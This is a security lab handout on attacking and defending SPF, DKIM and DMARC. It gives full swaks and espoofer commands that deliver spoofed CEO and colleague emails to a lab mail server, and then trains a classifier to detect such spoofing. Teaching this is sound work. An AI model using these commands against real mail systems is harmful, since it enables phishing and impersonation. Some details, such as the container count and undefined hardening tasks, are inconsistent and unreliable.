

Hardening Email Sender Authentication

Exploiting SPF, DKIM, and DMARC — and Building a Defence

Copyright © 2026. This lab is released under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License.

1 Overview

Email remains one of the most widely abused communication channels for impersonation and phishing attacks. Over the last two decades, three authentication protocols have been standardised to combat email sender spoofing: **SPF** (Sender Policy Framework), **DKIM** (DomainKeys Identified Mail), and **DMARC** (Domain-based Message Authentication, Reporting and Conformance). Despite their widespread adoption, real-world deployments are riddled with misconfigurations and implementation weaknesses that allow a determined attacker to bypass all three layers simultaneously.

This lab has two complementary objectives:

1. **Attack.** Students will exploit deliberate misconfigurations in a controlled email infrastructure to deliver spoofed messages that pass (or are not rejected by) SPF, DKIM, and DMARC checks.
2. **Defend.** Students will train and evaluate a machine-learning classifier that analyses email headers and metadata to flag spoofed messages, providing a last line of defence when protocol-level checks fail.

Topics covered.

- How SPF, DKIM, and DMARC work and interact
- Common misconfigurations that enable spoofing (soft-fail SPF, missing DKIM, DMARC `p=none`)
- Direct MTA attacks using `swaks` and `espoofers`
- Header-injection and envelope/header `From` mismatch attacks
- Feature engineering from email headers for ML-based detection
- Evaluating a classifier against known spoofing patterns

Readings.

- RFC 7208 (SPF), RFC 6376 (DKIM), RFC 7489 (DMARC)
- J. Chen, V. Paxson, J. Jiang — *Composition Kills: A Case Study of Email Sender Authentication*, USENIX Security 2020 (included in `containers_setup/espoofers/papers/`)
- <https://github.com/chenjj/espoofers> — `espoofers` tool documentation

Lab Environment. All tasks run inside a Docker Compose network (`net-10.9.0.0/24`) that you will set up using the provided scripts. No external Internet access is required for the attack tasks. A host machine with Docker and Docker Compose installed is sufficient. This lab has been developed and tested on the official SEED Labs Ubuntu 20.04 virtual machine.

2 Lab Environment

2.1 Container Architecture

The lab uses four containers connected on the 10.9.0.0/24 subnet. Table 1 summarises each container’s role.

Table 1: Docker containers and their roles

Container	IP	Image	Role
dns-server-10.9.0.5	10.9.0.5	Custom BIND9	Authoritative DNS for both domains
victim-mail-10.9.0.6	10.9.0.6	docker-mailserver	Postfix/Dovecot mail server (victim.test)
attacker-sender-10.9.0.7	10.9.0.7	seed-ubuntu:large	Attack workstation

DNS zones. Two DNS zones are served by the BIND9 container:

- **victim.test** — the target domain, configured with intentional weaknesses: SPF soft-fail (~all), no DKIM selector published, and DMARC policy **p=none** (monitoring only).
- **attacker.test** — the attacker’s domain, with a valid SPF record authorising 10.9.0.7, a DKIM public key, and a permissive DMARC record.

Mail accounts. The victim mail server hosts two accounts:

```
1 alice@victim.test password: pass123
2 bob@victim.test password: 123pass
3 user@victim.test (hashed, for postfix-accounts.cf)
```

```
1 # Exposed ports (host machine)
2 SMTP: localhost:2525 -> victim-mail:25
3 IMAP: localhost:1143 -> victim-mail:143
```

2.2 Setup and Commands

Step 1 — Start the containers. From the root of the `containers.setup` directory:

```
1 $ dcdown # to bring down running containers, if needed
2 $ dcup -d
3 $ dockps # verify all three containers are running
```

Step 2 — Run the first-time initialisation script. Open a shell inside the attacker container and run the setup script *once*:

```
1 $ docksh attacker-sender-10.9.0.7
2 (attacker)$ cd /home/seed/init_setup
3 (attacker)$ bash run-me-1st.sh
```

This script updates the system, installs **swaks**, and installs the Python dependencies required by **espoof**.

Step 3 — Verify DNS resolution. Still inside the attacker container, confirm that the custom DNS server is resolving both zones correctly:

```
1 (attacker)$ dig MX victim.test @10.9.0.5
2 (attacker)$ dig TXT victim.test @10.9.0.5
3 (attacker)$ dig TXT _dmarc.victim.test @10.9.0.5
```

```
1 $ dcdownd # stops the containers
```

3 Task 1: Per-Protocol Configurations and **swaks** Attacks

The sender-authentication behaviour for **victim.test** is controlled by DNS records defined in the BIND zone file **containers_setup/bind/zones/db.victim.test**.

By commenting and uncommenting specific lines in this file, we can simulate four different deployment scenarios:

1. no sender authentication at all,
2. SPF only,
3. DKIM only,
4. DMARC only.

In each sub-task below, you will:

- edit **db.victim.test** to obtain the desired configuration,
- reload the DNS server and verify the records using **dig**,
- craft a **swaks** command that sends a spoofed email under that configuration,
- retrieve the message and analyse the authentication-related headers.

You should both run the commands directly in the shell and encode your final attack commands into the provided **/home/seed/attacks/attack.sh** script so that you can easily repeat each attack during later tasks.

3.1 Task 1.1 — No Authentication

In this baseline scenario, **victim.test** publishes *no* SPF, DKIM, or DMARC records at all: receivers have no protocol-level information about who is allowed to send mail for this domain.[file:4]

Step 1: Disable all authentication records. Open `db.victim.test` and ensure that the SPF and DMARC lines are commented out, and that no DKIM selector records are present, e.g.:

```
1 ; --- INTENTIONAL MISCONFIGURATIONS (for Task 1.1) ---
2
3 ; SPF: disabled
4 ; @      IN  TXT      "v=spf1 mx ~all"
5
6 ; DKIM: no selector/_domainkey record for victim.test
7
8 ; DMARC: disabled
9 ; _dmarc IN TXT "v=DMARC1; p=none; aspf=r; adkim=r"
```

Reload the DNS server (using the provided helper script or `rndc reload`) and verify that no SPF or DMARC records exist:

```
1 (attacker)$ dig TXT victim.test @10.9.0.5
2 (attacker)$ dig TXT _dmarc.victim.test @10.9.0.5
```

Step 2: Spoofed email with no authentication. Send a spoofed email that pretends to come from the CEO at `victim.test`:

```
1 (attacker)$ swaks \
2   --from attacker@victim.test \
3   --to bob@victim.test \
4   --server 10.9.0.6 --port 25 \
5   --helo attacker.attacker.test \
6   --header "From: CEO <ceo@victim.test>" \
7   --header "Subject: No-auth baseline" \
8   --body "This is a spoofed email with no auth at all."
```

Retrieve the message from Bob's inbox (via IMAP) and examine the full headers.

Questions.

1. Which, if any, `Authentication-Results` fields are present (for SPF, DKIM, or DMARC)?
2. Does the message reach Bob's inbox? If so, what evidence (if any) would allow a human user or filter to detect spoofing?
3. How difficult would it be for an attacker to impersonate other users at `victim.test` in this configuration?

3.2 Task 1.2 — SPF-Only Deployment

In this scenario, `victim.test` publishes an SPF record but no DKIM or DMARC records.[file:4]

Step 1: Enable SPF, keep DKIM and DMARC disabled. Edit `db.victim.test` so that the SPF line is active, while DKIM and DMARC remain disabled:

```
1 ; SPF: enabled (soft-fail policy)
2 @      IN  TXT      "v=spf1 mx ~all"
3
4 ; DKIM: still no selector/_domainkey record for victim.test
5
6 ; DMARC: disabled
7 ; _dmarc IN TXT "v=DMARC1; p=none; aspf=r; adkim=r"
```

Reload the DNS server and verify:

```
1 (attacker)$ dig TXT victim.test @10.9.0.5      # shows SPF
2 (attacker)$ dig TXT _dmarc.victim.test @10.9.0.5 # no DMARC record
```

Step 2: SPF-based spoofing with envelope/header mismatch. SPF checks the *envelope sender* (SMTP MAIL FROM) and ignores the visible `From:` header. Exploit this by using an envelope sender authorised by SPF while forging the visible `From:` address.

```
1 (attacker)$ swaks \
2   --from attacker@attacker.test \
3   --to bob@victim.test \
4   --server 10.9.0.6 --port 25 \
5   --helo attacker.test \
6   --header "From: Alice <alice@victim.test>" \
7   --header "Subject: SPF-only bypass" \
8   --body "Hi Bob, this looks like it came from Alice."
```

Retrieve the message and inspect the `Authentication-Results` and `Received-SPF` headers.

Questions.

1. What is the `spf=` result for this message? Why?
2. What domain appears in the visible `From:` header?
3. Does SPF, by itself, prevent Bob from being fooled by this message?
4. How would changing the SPF record to use `-all` (hard-fail) instead of `~all` (soft-fail) affect this attack?

3.3 Task 1.3 — DKIM-Only Deployment

In this scenario, `victim.test` uses DKIM signing but publishes no SPF or DMARC records. Receivers can, in principle, verify a cryptographic signature on the message, but there is no DMARC policy tying that result to enforcement.[file:4]

Step 1: Publish a DKIM key, disable SPF/DMARC. Edit `db.victim.test` to disable SPF and DMARC while publishing a DKIM selector (you may reuse the key generation steps later in the lab):

```
1 ; SPF: disabled for Task 1.3
2 ; @      IN  TXT      "v=spf1 mx ~all"
3
4 ; DKIM: publish a selector for victim.test
5 default._domainkey IN TXT "v=DKIM1; k=rsa; p=YOUR_BASE64_PUBLIC_KEY"
6
7 ; DMARC: disabled for Task 1.3
8 ; _dmarc IN TXT "v=DMARC1; p=none; aspf=r; adkim=r"
```

Reload DNS and verify that the DKIM selector exists:

```
1 (attacker)$ dig TXT default._domainkey.victim.test @10.9.0.5
```

Configure the victim mail server so that legitimate outbound mail from `victim.test` is signed with the corresponding private key, then send a legitimate email from `alice@victim.test` to `bob@victim.test` and confirm that `dkim=pass` appears in `Authentication-Results`.

Step 2: Spoofed email with broken DKIM signature. Now craft a spoofed message that carries a syntactically valid but cryptographically invalid DKIM signature.

```
1 (attacker)$ swaks \
2   --from alice@victim.test \
3   --to bob@victim.test \
4   --server 10.9.0.6 --port 25 \
5   --helo attacker.attacker.test \
6   --header "From: CEO <ceo@victim.test>" \
7   --header "To: Bob <bob@victim.test>" \
8   --header "Subject: DKIM-only bypass" \
9   --header "DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; \
10  d=victim.test; s=default; h=from:to:subject; \
11  bh=invalidhash; b=invaliddata" \
12   --body "Spoofed mail with an invalid DKIM signature."
```

Questions.

1. What is the `dkim=` result for this spoofed message?
2. Does the message still reach Bob's inbox? Why might a receiver accept a message with `dkim=fail`?
3. What additional policy or configuration would be required to reject messages with broken DKIM signatures?

3.4 Task 1.4 — DMARC-Only Deployment

DMARC is designed to enforce *alignment* of authenticated identities (from SPF and/or DKIM) with the visible **From:** domain. If a domain publishes DMARC but does not deploy SPF or DKIM, DMARC has no underlying authentication results to work with.[file:4]

Step 1: Enable DMARC, disable SPF/DKIM. Configure `db.victim.test` so that only the DMARC record is active:

```
1 ; SPF: disabled for Task 1.4
2 ; @      IN  TXT      "v=spf1 mx ~all"
3
4 ; DKIM: no selector/_domainkey record for victim.test
5 ; default._domainkey IN TXT "v=DKIM1; k=rsa; p=..."
6
7 ; DMARC: enabled, but depends on SPF/DKIM results
8 _dmarc IN TXT "v=DMARC1; p=none; aspf=r; adkim=r"
```

Reload DNS and verify:

```
1 (attacker)$ dig TXT victim.test @10.9.0.5          # no SPF
2 (attacker)$ dig TXT default._domainkey.victim.test @10.9.0.5 # no DKIM
3 (attacker)$ dig TXT _dmarc.victim.test @10.9.0.5    # DMARC present
```

Step 2: Spoofed email with DMARC-only configuration. Re-use a simple spoof similar to Task 1.1:

```
1 (attacker)$ swaks \
2   --from attacker@victim.test \
3   --to bob@victim.test \
4   --server 10.9.0.6 --port 25 \
5   --helo attacker.attacker.test \
6   --header "From: CEO <ceo@victim.test>" \
7   --header "Subject: DMARC-only bypass" \
8   --body "DMARC is present, but SPF/DKIM are missing."
```

Questions.

1. What are the `spf=`, `dkim=`, and `dmarc=` results in the **Authentication-Results** header?
2. Why does DMARC, by itself, not prevent delivery of this spoofed message when SPF and DKIM are absent?
3. How would the behaviour change if SPF and/or DKIM were properly deployed and DMARC were set to `p=quarantine` or `p=reject`?

4 Task 2: Multi-Layer Bypass with espoofer

In Task 1 you exploited each protocol (SPF, DKIM, DMARC) in isolation using **swaks**. In this task, you will use the **espoofer** tool to craft attacks that combine multiple bypass techniques and misconfigurations at once.

4.1 Task 2.1 — Exploring Available Attack Cases

espoofer is a research tool that implements a catalogue of known email-sender-authentication bypass techniques discovered by Chen, Paxson, and Jiang (USENIX Security 2020). It operates in three modes: *server*, *client*, and *manual*. In this lab we use *server* mode, where **espoofer** acts as the sending MTA.

```
1 (attacker)$ cd /home/seed/espoofer
2 (attacker)$ python3 espoofer.py -l
```

This lists all built-in attack cases. Note the case identifiers (e.g. **server_a1**, **server_a2**, ...).

Questions.

1. How many distinct server-mode attack cases are available?
2. Pick three cases and describe in your own words what authentication property (SPF, DKIM, DMARC, or their combination) each one exploits.

4.2 Task 2.2 — Configuring espoofer

Edit `/home/seed/espoofer/config.py` to target the lab infrastructure:

```
1 config = {
2     "attacker_site":          b"attacker.test",
3     "legitimate_site_address": b"admin@victim.test", # spoofed From:
4     "victim_address":         b"bob@victim.test",    # target inbox
5     "case_id":                b"server_a1",          # change to test others
6
7     "server_mode": {
8         "recv_mail_server":    "10.9.0.6",
9         "recv_mail_server_port": 25,
10        "starttls":             False,
11    },
12 }
```

4.3 Task 2.3 — Running Combined Attacks

Run **espoofer** using the configured case:


```
1 (attacker)$ python3 espoofer.py          # uses config.py settings
2 # OR override the case ID on the command line:
3 (attacker)$ python3 espoofer.py -id server_a2
```

For each chosen case, retrieve the message from Bob’s inbox and examine the **Authentication-Results** header.

Questions (repeat for at least 3 different case IDs).

1. For each case, record the **spf=**, **dkim=**, and **dmarc=** results.
2. Which cases result in **dmarc=pass** even when something suspicious is happening with SPF or DKIM?
3. What does the **From:** header look like to Bob in each case?
4. Relate each successful case back to the misconfigurations you exploited in Task 1 (SPF, DKIM, and DMARC).
5. Explain, in protocol terms, why combining multiple weaknesses (a “cocktail” of bypasses) is more effective than any single technique alone.

4.4 Task 2.4 — Optional: Manual-Mode Attack

Use manual mode to craft a raw spoofed message with full control over every header field:

```
1 (attacker)$ python3 espoofer.py -m m \
2   -helo attacker.test \
3   -mfrom attacker@attacker.test \
4   -rcptto bob@victim.test \
5   -ip 10.9.0.6 -port 25 \
6   -data \
7   "From: Alice <alice@victim.test>\r\nSubject: Spoofing\r\n\r\nBody here."
```

Question. Explain what each flag controls at the SMTP protocol level and how it relates to SPF, DKIM, or DMARC verification.

5 Task 3: ML-Based Spoofing Detection

In this task, you will build and evaluate a machine-learning classifier that distinguishes spoofed emails from legitimate ones based on header features. You will specifically compare how well the classifier performs against *single-protocol* bypasses (Task 1) versus *multi-layer* **espoofer** attacks (Task 2).

5.1 Task 3.1 — Dataset Preparation

Collect raw email headers from:

- legitimate emails (e.g. from Task 1 legitimate tests),
- single-protocol bypass attacks using **swaks** (Task 1.1–1.3),
- multi-layer bypass attacks using **espoofer** (Task 2).

For each email, extract features such as:

- `spf_result` — encoded as `pass`, `softfail`, `fail`, `none`;
- `dkim_result` — `pass`, `fail`, `none`;
- `dmARC_result` — `pass`, `fail`, `none`;
- `from_return_path_mismatch` — Boolean;
- `helo_from_mismatch` — Boolean;
- `num_received_hops` — count of `Received:` headers;
- other header-derived features you consider useful.

You may supplement your lab-generated emails with a public corpus (e.g. SpamAssassin, CEAS 2008) to increase dataset size and class balance.

Feature extraction hint. Python’s `email` library can parse raw messages:

```
1 import email
2
3 with open("raw_message.eml", "r") as f:
4     msg = email.message_from_file(f)
5
6 from_addr      = msg.get("From", "")
7 return_path    = msg.get("Return-Path", "")
8 auth_results   = msg.get("Authentication-Results", "")
9 received_hdrs  = msg.get_all("Received", [])
```

5.2 Task 3.2 — Training a Baseline Classifier

Train at least one `scikit-learn` classifier (e.g. Random Forest, Logistic Regression, SVM) to predict whether an email is *legitimate* or *spoofed* based on your feature set.

```
1 from sklearn.ensemble import RandomForestClassifier
2 from sklearn.model_selection import train_test_split
3 from sklearn.metrics import classification_report, confusion_matrix
4
5 X_train, X_test, y_train, y_test = train_test_split(
6     X, y, test_size=0.2, random_state=42, stratify=y)
7
8 clf = RandomForestClassifier(n_estimators=100, random_state=42)
9 clf.fit(X_train, y_train)
10
11 y_pred = clf.predict(X_test)
12 print(classification_report(y_test, y_pred,
13     target_names=["Legitimate", "Spoofed"]))
14 print(confusion_matrix(y_test, y_pred))
```

Report precision, recall, F1-score, and accuracy for your classifier.

5.3 Task 3.3 — Single vs Multi-Layer Bypass Experiments

To understand how well your classifier handles different kinds of attacks, evaluate it separately on:

- the subset of **single-protocol** bypass emails (Task 1.1–1.3), and
- the subset of **multi-layer** **espoofers** emails (Task 2).

Compute and compare metrics (precision, recall, F1-score) for these two subsets.

Questions.

1. Is your classifier more effective at detecting single-protocol bypasses or multi-layer **espoofers** attacks? Explain why.
2. Which features appear most important for detecting multi-layer attacks? Does this match your intuition from Tasks 1 and 2?
3. Describe at least two ways an attacker could adapt their spoofing strategy to evade your classifier.
4. What additional features or data sources would you recommend adding in a production-grade system (e.g. content features, sender reputation, behavioural signals)?

6 Submission

Students should submit a lab report in PDF format containing:

1. **Environment verification** — screenshots of running containers (`docker compose ps`) and successful DNS resolution.
2. **Task answers** — all numbered questions answered with supporting evidence (terminal output, header excerpts, screenshots).
3. **Attack logs** — the contents of `spf-spoof-attack.log` and relevant **Authentication-Results** headers for at least three **espoofers** cases.
4. **ML results** — the full `classification-report` output, a confusion matrix, and the feature importance plot (or coefficient table) for your classifier.
5. **Hardening evidence** — before/after zone file excerpts and re-run attack outputs showing the effect of each hardening step.
6. **Reflection** — a short paragraph (200–300 words) discussing the limitations of both protocol-level defences and the ML classifier, and what a production-grade solution would look like.

Academic integrity notice. All attacks in this lab must be conducted exclusively within the provided Docker network. Do not attempt any of these techniques against real email infrastructure.

7 Acknowledgements

- The **espoofers** tool is developed by Jianjun Chen, Vern Paxson, and Jian Jiang and is available at <https://github.com/chenjj/espoofers>.
- The container infrastructure (DNS, mail server, and attacker workstation) was developed as part of the course project.
- The lab format is inspired by the SEED Security Lab series by Wenliang Du, Syracuse University (<https://seedsecuritylabs.org>).